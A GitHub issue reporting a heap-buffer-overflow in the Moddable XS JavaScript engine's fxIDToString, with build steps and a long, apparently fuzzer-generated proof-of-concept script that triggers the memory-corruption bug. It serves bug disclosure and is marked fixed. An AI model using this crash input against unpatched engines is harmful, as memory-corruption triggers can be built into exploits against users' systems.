New issue

Jump to bottom

heap-buffer-overflow(fxIDToString) #583

Closed **rain6851** opened this issue on Feb 26, 2021 · 0 comments

Labels fixed - please verify

rain6851 commented on Feb 26, 2021

Enviroment

```
operating system: ubuntu18.04
compile command:  cd /pathto/moddable/xs/makefiles/lin
make
test command: ./xst poc
```

poc:

```
var b2 = new Uint8Array(171);
b2[0] = 0;
b2[1] = 97;
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var fun = eval(str);
    var str = '\'\'';
    var c = foo(/[\s\r\n]+/g).map(m, 'AAAA');
    var fun = eval(str);
    var oobString = makeOobString();
    var hiddenValue = getHiddenValue();
    f(fun, hiddenValue);
    var oobString = WebAssembly.Module();
    var fun = eval(str);
    return oobString;
}
b2[2] = 115;
var i = 0;
b2[3] = 109;
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        42,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
function getHiddenValue() {
    var obj = {};
    var oob = '(new Number(0))';
    oob = 'valueOf'.repeat('re', JSON.parse(978));
    var str = 'U*|m^c}d|#~^.g';
    function foo(x) {
        MEM[array.length] *= 0;
        var o = a.map.call(p, test);
    }
    var fun = eval(str);
    var a = new Array(1, 2, 3);
    f(obj, fun);
    var ar = new Int8Array(c[0]);
    return obj;
}
b2[4] = 1;
function getHiddenValue() {
    var MEM = new stdlib.Uint8Array(heap);
    var handler = {
        get: function (target, name) {
            if (name == '') {
                return 256;
            }
            var i = 0;
            return { [Symbol.species]: dummy };
        },
        has: function (target, name) {
            var oobString = makeOobString();
            return true;
        }
    };
    var obj = {};
    function getHiddenValue() {
        var obj = {};
        var oob = '[\'z\']';
        oob = oob.replace('re', ' \'use strict\' '.repeat(1048576));
        var str = 'new Number(1)' + oob + 'enumberable';
        var fun = eval(str);
        Object.assign(obj, fun);
        return obj;
    }
    var oobString = fun.toString();
    var str = '-0';
    var d = new Array(1, 2, 3);
    function getHiddenValue() {
        var ar = new Int8Array(c[0]);
        var obj = {};
        var handler = {
            get: function (target, name) {
                if (name == '({valueOf:function(){return 0;}})') {
                    return 256;
                }
                var i = 0;
                return { [Symbol.species]: dummy };
            },
            has: function (target, name) {
                var oob = 'eval';
                return true;
            }
        };
        var oob = 'call';
        oob = f('re', log(0.45603744997993667));
        var str = 'caller';
        function foo(x) {
            var oobString = makeOobString();
            MEM[array.length] *= 0;
            var obj = {};
            var m = parseInt(new Uint8Array(log(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
        }
        var fun = eval(str);
        var oobString = fun.toString();
        '00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split(obj, fun);
        var m = ''.repeat(new Uint8Array(parseInt.customSections(v => parseInt(v, 16))));
        return obj;
    }
    var oob = '(new String(\'\'))';
    oob = Object('[]', eval(1048576));
    function getHiddenValue() {
        var obj = {};
        var oob = 'createIsHTMLDDA()';
        oob = oob.replace('configurable', 'eval'.repeat(1048576));
        var str = '{}' + oob + '({valueOf:function(){return 0;}})';
        var fun = eval(str);
        Object.assign(obj, fun);
        return obj;
    }
    var o = a.map.call(p, test);
    var str = str;
    var str = ' /x/g ';
    var array = [];
    var d = new Array(1, 2, 3);
    var str = '<h3>';
    var fun = eval(str);
    eval(obj, fun);
    var fun = eval(str);
    var a = new Array(1, 2, 3);
    function log() {
        var str = '<h3>';
        for (var i = 0; KTta; i++) {
            str += arguments[i];
        }
        str += '</h3>';
        FMRc.call(/[\s\r\n]+/g).map(str);
    }
    var p = new Proxy([], handler);
    return obj;
}
var HJaX = Promise;
var m = '00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split(new Uint8Array(parseInt(v => parseInt(v, 16))));
function log() {
    var str = '1';
    var oobString = fun.toString();
    for (var i = 0; GXka; i++) {
        str += arguments[i];
    }
    str += '</h3>';
    function test() {
        return 131354989131639;
    }
    getHiddenValue(str);
}
b2[5] = 0;
function test() {
    var oobString = fun.toString();
    return 131354989131639;
}
b2[374] = 0;
var hiddenValue = getHiddenValue();
b2[7] = 0;
b2[0.6882051344744746] = 1;
var hiddenValue = getHiddenValue();
var r = new RegExp(RegExp(' /x/g '));
var i = 0;
b2[9] = 14;
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = 'arguments.callee';
    var o = a.map.call(p, test);
    var fun = eval(str);
    var fun = eval(str);
    var m = JSON.stringify(/[\s\r\n]+/g).map(new Uint8Array(print(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
    var handler = {
        get: function (target, name) {
            if (name == 'length') {
                return 256;
            }
            var i = 0;
            return { [Symbol.species]: dummy };
        },
        has: function (target, name) {
            return true;
        }
    };
    var ar = new Int8Array(c[0]);
    Object(fun, hiddenValue);
    var oobString = eval();
    return oobString;
    function getHiddenValue() {
        var obj = {};
        var oob = '-Infinity';
        oob = parseInt('({x:3})', Object(1048576));
        var ar = new Int8Array(c[0]);
        var str = ' \'use strict\' ';
        function foo(x) {
            MEM[array.length] *= 0;
        }
        var o = a.map.call(p, test);
        var fun = eval(str);
        function log() {
            var str = '<h3>';
            for (var i = 0; GXka; i++) {
                var oobString = fun.toString();
                str += arguments[i];
                function test() {
                    return 131354989131639;
                }
            }
            str += 'arguments.callee';
            var str = '{}' + oob + 'call';
            f(str);
        }
        'prototype'.repeat(obj, fun);
        return obj;
    }
}
var oobString = makeOobString();
var o = a.map.call(p, test);
var fun = eval(str);
var GXka = new Boolean();
var Wtwd = new Map([
    [
        667,
        -9007199254740994,
        443,
        0.07347175385557603,
        -9007199254740992
    ],
    [
        -364,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        0.44760134769754445,
        3037000498
    ]
]);
b2[10] = 3;
var a = new Array(1, 0.045601841670223076, 0.10425251163056126);
b2[11] = 96;
b2[12] = 1;
var str = '-Infinity';
b2[13] = 127;
b2[14] = 0;
b2[15] = 96;
var i = 0;
var array = [];
b2[16] = 775;
var hiddenValue = getHiddenValue();
var str = '<h3>';
b2[17] = 55;
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        876,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
var str = 'new String(\'q\')';
b2[18] = 96;
var obj = {};
var m = '*'.repeat(new Uint8Array(getHiddenValue(v => parseInt(v, 16))));
b2[19] = 2;
b2[20] = 127;
var c = fun.toString(m, 'arguments.callee');
b2[21] = 127;
var oob = '/re/';
var oobString = makeOobString();
var p = new Proxy([], handler);
b2[22] = 0.3450387102817629;
var fun = eval(str);
var str = '[0]';
var Wtwd = new Map([
    [
        1073741823,
        -672,
        42,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
b2[23] = 833;
b2[24] = 2;
var fun = eval(str);
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        42,
        0.2,
        -9007199254740992
    ],
    [
        -826,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
b2[25] = 35;
function getHiddenValue() {
    var obj = {};
    var p = new Proxy([], handler);
    var i = 0;
    function test() {
        return 131354989131639;
    }
    var oob = '{x:3}';
    var a = new Array(1, 2, 3);
    function makeOobString() {
        var hiddenValue = getHiddenValue();
        var str = 'function(){}';
        var fun = eval(str);
        Object.assign(fun, hiddenValue);
        var oobString = fun.toString();
        return oobString;
    }
    oob = f('re', foo(/[\s\r\n]+/g).map(1048576));
    var str = oob;
    function foo(x) {
        var fun = eval(str);
        MEM[array.length] *= 0;
    }
    var fun = eval(str);
    ''.repeat(obj, fun);
    var obj = {};
    var handler = {
        get: function (target, name) {
            if (name == 'apply') {
                return 256;
            }
            var i = 0;
            return { [Symbol.species]: dummy };
        },
        has: function (target, name) {
            var oob = 'eval';
            return true;
        }
    };
    var m = foo(/[\s\r\n]+/g).map(new Uint8Array(foo(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
    var str = '{}' + oob + '}';
    var p = new Proxy([], handler);
    return obj;
}
b2[26] = 2;
var ar = new Int8Array(c[0.14427504137296565]);
b2[0.21503255514884878] = 2;
var fun = eval(str);
b2[28] = 106;
b2[0.25818522699508195] = 115;
var obj = {};
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        42,
        0.2,
        -0.29683083976254676
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
var fun = eval(str);
var m = f(new Uint8Array(WebAssembly.Module(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
var fun = eval(str);
b2[30] = 3;
function log() {
    var str = '';
    var hiddenValue = getHiddenValue();
    for (var i = 0; KTta; i++) {
        str += arguments[i];
    }
    var oobString = fun.toString();
    str += 'callee';
    foo(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(str);
}
b2[934] = 0.13520367501571928;
function getHiddenValue() {
    var obj = {};
    var obj = {};
    var oob = '';
    var a = new Array(1, 2, 3);
    oob = log('*', log(/[\s\r\n]+/g).map(1048576));
    var str = '<h3>';
    var str = '/0/';
    function getHiddenValue() {
        var obj = {};
        var oob = 'valueOf';
        oob = oob.replace('re', 'eval'.repeat(1048576));
        var str = '{}' + oob + '}';
        var fun = eval(str);
        Object.assign(obj, fun);
        return obj;
    }
    function foo(x) {
        MEM[array.length] *= 0;
    }
    var i = 0;
    var m = getHiddenValue(new Uint8Array(eval(v => parseInt(v, 161))));
    var i = 0;
    var fun = eval(str);
    '*'.repeat(obj, fun);
    return obj;
}
b2[32] = 0.6597113836158741;
b2[33] = 109;
b2[34] = 0.06746787618936523;
var i = 0;
var array = [];
b2[35] = 0;
b2[36] = 1;
var array = [];
var str = ' /x/ ' + oob + '';
var ar = new Int8Array(c[0]);
var str = '*';
b2[115] = 7;
var c = parseInt(m, 'AAAA');
b2[38] = 105;
b2[39] = 109;
var fun = eval(str);
var o = a.map.call(p, test);
var str = '1';
function makeOobString() {
    var str = '+0' + oob + '}';
    var hiddenValue = getHiddenValue();
    var str = '({x:3})';
    var fun = eval(str);
    function getHiddenValue() {
        var obj = {};
        var oob = '({valueOf:function(){return 0;}})';
        oob = oob.replace('re', '-Infinity'.repeat(1048576));
        var str = 'v2' + oob + '__proto__';
        var fun = eval(str);
        Object.assign(obj, fun);
        return obj;
    }
    var array = [];
    var oobString = fun.toString();
    var r = new RegExp(RegExp('(new Number(0))'));
    getHiddenValue(fun, hiddenValue);
    var foo = function (stdlib, foreign, heap) {
        '1.23';
        var MEM = new stdlib.Uint8Array(heap);
        function foo(x) {
            var i = 0;
            MEM[MEM[b2[63]]] *= 0;
        }
        return { foo: foo };
        var obj = {};
    }(this, {}, new ArrayBuffer(1)).foo;
    var str = 'null';
    var oobString = foo();
    return oobString;
}
b2[40] = 112;
b2[41] = 111;
var m = log(new Uint8Array(log(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
var oob = 'Infinity';
b2[42] = 114;
var r = new RegExp(RegExp(' /x/ '));
b2[43] = 116;
b2[44] = 115;
var obj = {};
var c = xhCc.call(m, '({x:3})');
b2[45] = 13;
var oobString = fun.toString();
var obj = {};
b2[46] = 105;
var m = f(new Uint8Array(WebAssembly.Module(v => parseInt(v, 16))));
b2[47] = 109;
b2[48] = 112;
b2[49] = 111;
var obj = {};
function getHiddenValue() {
    var obj = {};
    var str = 'apply' + oob + '}';
    var oob = '/re/';
    var fun = eval(str);
    oob = print(' \'\\0\' ', eval(1048576));
    var str = str;
    function getHiddenValue() {
        var obj = {};
        var d = new Array(1, 2, 3);
        var oob = '[1]';
        var handler = {
            get: function (target, name) {
                if (name == '[1]') {
                    return 256;
                }
                var i = 0;
                var hiddenValue = getHiddenValue();
                return { [Symbol.species]: dummy };
            },
            has: function (target, name) {
                return true;
            }
        };
        var oob = 'eval';
        oob = WebAssembly.Module('', 'valueOf'.repeat(1048576));
        var str = ' \'use strict\' ';
        function log() {
            var str = '({valueOf:function(){return 0;}})';
            var oobString = fun.toString();
            for (var i = 0; GXka; i++) {
                str += arguments[i];
                var i = 0;
            }
            str += '</h3>';
            'createIsHTMLDDA()'.repeat(str);
        }
        function foo(x) {
            MEM[array.length] *= 0;
        }
        var fun = eval(str);
        '00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split(obj, fun);
        return obj;
    }
    var fun = eval(str);
    eval(obj, fun);
    var a = new Array(0.7509782354189012, 0.1974859854024249, 3);
    return obj;
    var o = a.map.call(p, test);
    function makeOobString() {
        var hiddenValue = getHiddenValue();
        var str = ' /x/g ';
        var fun = eval(str);
        Object.assign(fun, hiddenValue);
        var oobString = fun.toString();
        return oobString;
    }
}
var str = 'value' + ' \'A\' ';
var m = WebAssembly.Module(/[\s\r\n]+/g).map(new Uint8Array(foo(v => parseInt(v, 16))));
var hiddenValue = getHiddenValue();
var oobString = makeOobString();
var oobString = makeOobString();
for (var ijjkkk = 0; GXka; ++ijjkkk) {
    var Wtwd = new Map([
        [
            0.7796790656098118,
            -9007199254740994,
            0.8206442487387069,
            0.2,
            -9007199254740992
        ],
        [
            -4294967296,
            -1.7976931348623157e+308,
            0.8584196717738266,
            3.141592653589793,
            9007199254740994,
            1200,
            1e+400,
            3037000498
        ]
    ]);
    var DWXm = b2[18];
    var i = 0;
}
var hiddenValue = getHiddenValue();
var c = '-0'.repeat(m, 'AAAA');
b2[50] = 114;
var i = 0;
function getHiddenValue() {
    var fun = eval(str);
    var obj = {};
    var oobString = makeOobString();
    var a = new Array(1, 2, 3);
    var oob = '\'\\0\'';
    var m = getHiddenValue(new Uint8Array('true'.repeat(v => parseInt(v, 16))));
    var o = a.map.call(p, test);
    oob = print('1024', eval(1048576));
    var oobString = makeOobString();
    var str = str;
    var hiddenValue = getHiddenValue();
    var fun = eval(str);
    var str = '+0' + oob + '}';
    eval(obj, fun);
    return obj;
}
b2[229] = 116;
b2[52] = 101;
b2[53] = 100;
var o = a.map.call(p, test);
function getHiddenValue() {
    var obj = {};
    var oob = '/0/';
    oob = oob.replace('true', '/0/'.repeat(1048576));
    var str = 'apply' + oob + '}';
    var fun = eval(str);
    Object.assign(obj, fun);
    return obj;
}
var m = foo(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(new Uint8Array(' \'use strict\' '.split(v => parseInt(v, 97))));
var i = 0;
var i = 0;
var oob = '/re/';
b2[0.8673405704175872] = 95;
var oobString = f();
function log() {
    var str = '<h3>';
    for (var i = 0; KTta; i++) {
        str += arguments[i];
    }
    str += 'nh8w?V-|Obj-Qk';
    '*'.repeat(str);
}
var foo = function (stdlib, foreign, heap) {
    'valueOf';
    var MEM = new stdlib.Uint8Array(heap);
    var oobString = makeOobString();
    function getHiddenValue() {
        var obj = {};
        var oob = 'eval';
        oob = oob.replace('get', 'valueOf'.repeat(1048576));
        var str = '{x:3}' + oob + '';
        var fun = eval(str);
        Object.assign(obj, fun);
        return obj;
    }
    function foo(x) {
        var fun = eval(str);
        var ar = new Int8Array(c[0]);
        MEM[MEM[b2[0.9599101550187807]]] *= 0.7851860562972905;
    }
    var p = new Proxy([], handler);
    var str = ' /x/g ';
    return { foo: foo };
}(this, {}, new ArrayBuffer(1)).foo;
var c = WebAssembly.Module(m, 'AAAA');
b2[55] = 102;
b2[56] = 117;
function log() {
    var str = '({toString:function(){return \'0\';}})' + oob + '(new Number(0))';
    var str = '<h3>';
    for (var i = 0.3562617893262703; ijjkkk < 100000; i++) {
        function getHiddenValue() {
            var obj = {};
            var oob = '[undefined]';
            oob = oob.replace('re', 'get'.repeat(1048576));
            var str = '{}' + oob + 'arguments';
            var fun = eval(str);
            Object.assign(obj, fun);
            return obj;
        }
        var Wtwd = new Map([
            [
                832,
                -9007199254740994,
                42,
                0.2,
                -9007199254740992
            ],
            [
                -4294967296,
                -1.7976931348623157e+308,
                1073741822,
                3.141592653589793,
                0.4727860951392562,
                0.10379895794589467,
                1e+400,
                3037000498
            ]
        ]);
        str += arguments[i];
        var str = '{}' + oob + '}';
    }
    str += '</h3>';
    parseInt.customSections(str);
}
b2[57] = 110;
var hkxa = b2[26];
var d = new Array(1, 2, 3);
var oobString = fun.toString();
b2[58] = 99;
b2[59] = 0;
var i = 0;
b2[60] = 0;
var str = '({x:3})';
var ar = new Int8Array(c[0]);
b2[61] = 3;
b2[62] = 3;
var fun = eval(str);
function foo(x) {
    MEM[array.length] *= 0;
}
var i = 0;
b2[63] = 2;
var hiddenValue = getHiddenValue();
b2[64] = 1;
function log() {
    var str = '(void 0)';
    for (var i = 0; KTta; i++) {
        str += arguments[i];
    }
    var str = ' /x/g ';
    str += '</h3>';
    var oobString = makeOobString();
    foo(str);
}
b2[65] = 2;
var o = a.map.call(p, test);
var fun = eval(str);
var str = 'createIsHTMLDDA()';
var r = new RegExp(RegExp('\'\''));
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = '(new Boolean(false))';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
b2[527] = 7;
b2[449] = 30;
b2[644] = 2;
var oob = 'eval';
var m = print(new Uint8Array(''.repeat(v => parseInt(v, 16))));
function getHiddenValue() {
    var obj = {};
    var oob = 'callee';
    oob = oob.replace('re', 'eval'.repeat(1048576));
    var str = '{}' + oob + 'set';
    var fun = eval(str);
    Object.assign(obj, fun);
    return obj;
}
b2[69] = 13;
var oobString = makeOobString();
b2[70] = 101;
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        42,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        125,
        1200,
        1e+400,
        3037000498
    ]
]);
var hiddenValue = getHiddenValue();
var oobString = makeOobString();
function log() {
    var str = '';
    for (var i = 0; KTta; i++) {
        str += arguments[i];
    }
    str += '</h3>';
    DJkJ.call(/[\s\r\n]+/g).map(str);
    var p = new Proxy([], handler);
}
var fun = eval(str);
var a = new Array(1, 2, 3);
var fun = eval(str);
b2[71] = 777;
var a = new Array(1, 2, 3);
var i = 0;
b2[72] = 112;
b2[73] = 111;
var d = new Array(1, 2, 3);
var kzcJ = MEM[MEM[b2[52]]];
var d = new Array(1, 2, 3);
b2[74] = 114;
function foo(x) {
    MEM[array.length] *= 0.7649781824601538;
}
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = ' /x/g ';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
b2[75] = 116;
var hiddenValue = getHiddenValue();
var oob = '';
var p = new Proxy([], handler);
var str = '{}' + oob + 'Infinity';
var oobString = makeOobString();
b2[76] = 101;
var o = a.map.call(p, test);
var DJkJ = f();
var oobString = makeOobString();
function getHiddenValue() {
    var o = a.map.call(p, test);
    var obj = {};
    var oob = '[]';
    var handler = {
        get: function (target, name) {
            if (name == 'ざ') {
                return 256;
            }
            var i = 0;
            return { [Symbol.species]: dummy };
        },
        has: function (target, name) {
            return true;
        }
    };
    var hiddenValue = getHiddenValue();
    oob = Object.assign('', f(377));
    var str = 'value';
    var str = 'valueOf';
    function foo(x) {
        MEM[array.length] *= 0;
    }
    var obj = {};
    var fun = eval(str);
    function log() {
        var str = '[0]';
        for (var i = 0; KTta; i++) {
            str += arguments[i];
        }
        var str = ' /x/g ';
        str += '';
        parseInt(/[\s\r\n]+/g).map(str);
        var o = a.map.call(p, test);
    }
    var str = 'writable';
    foo(obj, fun);
    return obj;
}
var oobString = fun.toString();
b2[305] = 100;
var obj = {};
var str = ' /x/g ';
var i = 0.4394732372222374;
b2[78] = 934;
b2[79] = 102;
var oob = 'enumberable';
b2[80] = 117;
var handler = {
    get: function (target, name) {
        if (name == 'length') {
            return 256;
        }
        var i = 0;
        return { [Symbol.species]: dummy };
    },
    has: function (target, name) {
        return true;
    }
};
var fun = eval(str);
b2[81] = 110;
b2[82] = 99;
var Zxac = DWXm.call(/[\s\r\n]+/g).map(/[\s\r\n]+/g).map(1.3);
var oob = 'length';
var c = Object(m, 'enumberable');
b2[83] = 0;
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        42,
        0.8995786686958036,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        0.3957353019569745,
        9007199254740994,
        1200,
        733,
        3037000498
    ]
]);
var c = 'ざ'.repeat(m, 'AAAA');
b2[84] = 1;
b2[85] = 0.39668982035420863;
b2[86] = 97;
var c = WebAssembly.Module(/[\s\r\n]+/g).map(m, 'AAAA');
b2[0.7977861306267542] = 99;
var MEM = new stdlib.Uint8Array(heap);
var obj = {};
for (var ijjkkk = 0; KTta; ++ijjkkk) {
    var a = new Array(1, 2, 3);
    var fun = eval(str);
    var GCdf = JSON;
}
b2[88] = 99;
var fun = eval(str);
b2[0.7735034424046705] = 0.6520197328936144;
var ar = new Int8Array(c[0]);
var i = 0;
b2[328] = 109;
var ar = new Int8Array(c[0]);
b2[91] = 117;
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = ' /x/g ';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
b2[92] = 108;
var i = 0;
b2[93] = 97;
f();
b2[94] = 116;
var i = 0;
var str = ' /x/g ';
var handler = {
    get: function (target, name) {
        if (name == 'length') {
            return 256;
        }
        var i = 0;
        return { [Symbol.species]: dummy };
    },
    has: function (target, name) {
        return true;
    }
};
var c = FMRc.call(m, 'AAAA');
var str = ' /x/g ';
b2[95] = 101;
var oobString = fun.toString();
var Wtwd = new Map([
    [
        1073741823,
        -0.7980880066582703,
        0.3398226154365076,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
var oob = 'value';
b2[402] = 0;
b2[97] = 2;
b2[98] = 10;
var o = a.map.call(p, test);
var fun = eval(str);
var obj = {};
b2[99] = 0.6964130764836092;
b2[0.8946850256758991] = 2;
var i = 0;
function log() {
    var str = '';
    for (var i = 0; KTta; i++) {
        str += arguments[i];
    }
    str += 'arguments';
    JSON.stringify(str);
}
var p = new Proxy([], handler);
var ar = new Int8Array(c[0]);
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = ' /x/g ';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
var bQDT = b2[216];
b2[101] = 6;
var str = ' /x/g ';
var Wtwd = new Map([
    [
        1073741823,
        -9007199254740994,
        42,
        0.2,
        -9007199254740992
    ],
    [
        -4294967296,
        -1.7976931348623157e+308,
        1073741822,
        3.141592653589793,
        9007199254740994,
        1200,
        1e+400,
        3037000498
    ]
]);
function getHiddenValue() {
    var obj = {};
    var oob = 'eval';
    oob = oob.replace('re', 'undefined'.repeat(1048576));
    var str = 'v0' + oob + '}';
    var fun = eval(str);
    Object.assign(obj, fun);
    return obj;
}
function getHiddenValue() {
    var obj = {};
    function makeOobString() {
        var hiddenValue = getHiddenValue();
        var str = ' /x/g ';
        var fun = eval(str);
        Object.assign(fun, hiddenValue);
        var oobString = fun.toString();
        return oobString;
    }
    var oobString = makeOobString();
    var p = new Proxy([], handler);
    var m = JSON.stringify(new Uint8Array(f(v => parseInt(v, 16))));
    var str = 'configurable';
    var oob = '';
    var d = new Array(1, 2, 3);
    oob = 'ざ'.repeat('re', eval(1048576));
    var str = str;
    var str = '({valueOf:function(){return \'0\';}})';
    var fun = eval(str);
    eval(obj, fun);
    return obj;
}
b2[102] = 0;
b2[103] = 65;
var i = 0;
b2[0.01645313561602557] = 42;
b2[105] = 16;
var handler = {
    get: function (target, name) {
        if (name == '({})') {
            return 256;
        }
        function getHiddenValue() {
            var obj = {};
            var oob = 'eval';
            oob = oob.replace('{}', '1'.repeat(1048576));
            var str = '\'/0/\'' + oob + '0.1';
            var fun = eval(str);
            Object.assign(obj, fun);
            return obj;
        }
        var i = 0;
        return { [Symbol.species]: dummy };
    },
    has: function (target, name) {
        return true;
    }
};
b2[750] = 0;
b2[107] = 11;
b2[108] = 347;
b2[109] = 1;
var obj = {};
function log() {
    var str = '<h3>';
    for (var i = 0; KTta; i++) {
        var d = new Array(1, 2, 3);
        str += arguments[i];
    }
    str += '</h3>';
    var oob = 'eval';
    log(/[\s\r\n]+/g).call(str);
}
var obj = {};
b2[110] = 255;
function makeOobString() {
    var hiddenValue = getHiddenValue();
    function getHiddenValue() {
        var obj = {};
        var oob = 'eval';
        oob = oob.replace('re', ' /x/ '.repeat(0.573204658263275));
        var str = 'constructor' + oob + '}';
        var fun = eval(str);
        Object.assign(obj, fun);
        return obj;
    }
    var str = '({x:3})';
    var fun = eval(str);
    function log() {
        var str = '(new Boolean(false))';
        var handler = {
            get: function (target, name) {
                if (name == 'value') {
                    return 256;
                }
                var i = 0;
                return { [Symbol.species]: dummy };
            },
            has: function (target, name) {
                return true;
            }
        };
        function test() {
            return 131354989131639;
        }
        var oob = 'eval';
        for (var i = 0; ijjkkk < 100000; i++) {
            str += arguments[i];
        }
        str += '</h3>';
        foo(str);
    }
    var handler = {
        get: function (target, name) {
            if (name == 'function(){}') {
                return 256;
                var oobString = fun.toString();
            }
            var i = 0;
            return { [Symbol.species]: dummy };
        },
        has: function (target, name) {
            return true;
        }
    };
    var array = [];
    foo(fun, hiddenValue);
    var obj = {};
    var foo = function (stdlib, foreign, heap) {
        'false';
        var d = new Array(1, 2, 3);
        var MEM = new stdlib.Uint8Array(heap);
        function log() {
            var str = 'prototype';
            for (var i = 0; GXka; i++) {
                str += arguments[i];
            }
            str += '</h3>';
            var str = 'ざ' + oob + '}';
            var d = new Array(1, 2, 3);
            var oobString = fun.toString();
            '*'.repeat(str);
            var fun = eval(str);
        }
        function foo(x) {
            var Wtwd = new Map([
                [
                    0.679732693083732,
                    -9007199254740994,
                    42,
                    0.2,
                    -9007199254740992
                ],
                [
                    -4294967296,
                    -1.7976931348623157e+308,
                    1073741822,
                    3.141592653589793,
                    9007199254740994,
                    1200,
                    1e+400,
                    3037000498
                ]
            ]);
            MEM[MEM[b2[12]]] *= 0;
        }
        return { foo: foo };
    }(this, {}, new ArrayBuffer(1)).foo;
    var oobString = parseInt();
    return oobString;
}
b2[111] = 255;
var obj = {};
var m = '*'.repeat(new Uint8Array(f(v => parseInt(v, 16))));
b2[112] = 255;
function makeOobString() {
    var oob = 'eval';
    var hiddenValue = getHiddenValue();
    var str = '';
    var fun = eval(str);
    var m = '-0'.repeat(new Uint8Array(print(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
    Zxac.call(fun, hiddenValue);
    var r = new RegExp(RegExp('\'/0/\''));
    var p = new Proxy([], handler);
    var oobString = makeOobString();
    var hiddenValue = getHiddenValue();
    var ar = new Int8Array(c[0]);
    var oobString = Object.assign(/[\s\r\n]+/g).map();
    return oobString;
}
function log() {
    var str = '/0/';
    var p = new Proxy([], handler);
    for (var i = 0; KTta; i++) {
        str += arguments[i];
    }
    var a = new Array(1, 2, 3);
    str += '';
    function getHiddenValue() {
        var obj = {};
        var oob = 'eval';
        oob = oob.replace('re', 'eval'.repeat(1048576));
        var str = '{}' + oob + '(new String(\'\'))';
        var fun = eval(str);
        Object.assign(obj, fun);
        return obj;
    }
    f(str);
}
var MEM = new stdlib.Uint8Array(heap);
var oobString = fun.toString();
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = ' \'use strict\' ';
    var str = '';
    function makeOobString() {
        var hiddenValue = getHiddenValue();
        var str = '(new Boolean(false))';
        var fun = eval(str);
        Object.assign(fun, hiddenValue);
        var oobString = fun.toString();
        return oobString;
    }
    var fun = eval(str);
    var array = [];
    var oobString = fun.toString();
    var str = ' /x/g ';
    var r = new RegExp(RegExp(''));
    function log() {
        var str = 'true';
        var hiddenValue = getHiddenValue();
        for (var i = 0; GXka; i++) {
            str += arguments[i];
        }
        var i = 0;
        str += '</h3>';
        f(str);
    }
    Zxac.call(fun, hiddenValue);
    var handler = {
        get: function (target, name) {
            if (name == '\'0\'') {
                return 256;
            }
            var i = 0;
            return { [Symbol.species]: dummy };
        },
        has: function (target, name) {
            var oobString = makeOobString();
            return true;
        }
    };
    var oobString = makeOobString();
    var foo = function (stdlib, foreign, heap) {
        function test() {
            return 131354989131639;
        }
        '6';
        var a = new Array(1, 2, 3);
        var MEM = new stdlib.Uint8Array(heap);
        var oobString = fun.toString();
        function foo(x) {
            MEM[MEM[b2[0.21503255514884878]]] *= 0;
        }
        return { foo: foo };
    }(this, {}, new ArrayBuffer(1)).foo;
    var oobString = Object();
    return oobString;
}
b2[113] = 255;
function log() {
    var o = a.map.call(p, test);
    var str = '(new String(\'\'))';
    for (var i = 0; KTta; i++) {
        str += arguments[i];
        function test() {
            return 131354989131639;
        }
    }
    str += ' \'A\' ';
    var fun = eval(str);
    xhCc.call(str);
}
b2[114] = 31;
b2[689] = 127;
var obj = {};
b2[116] = 32;
parseInt(null);
var r = new RegExp(RegExp('(new Number(0))'));
var str = '{}' + oob + 'Infinity';
b2[117] = 0;
function log() {
    var str = '<h3>';
    for (var i = 0; GXka; i++) {
        str += arguments[i];
    }
    var oobString = makeOobString();
    str += '</h3>';
    var d = new Array(1, 2, 3);
    Object(str);
    var fun = eval(str);
}
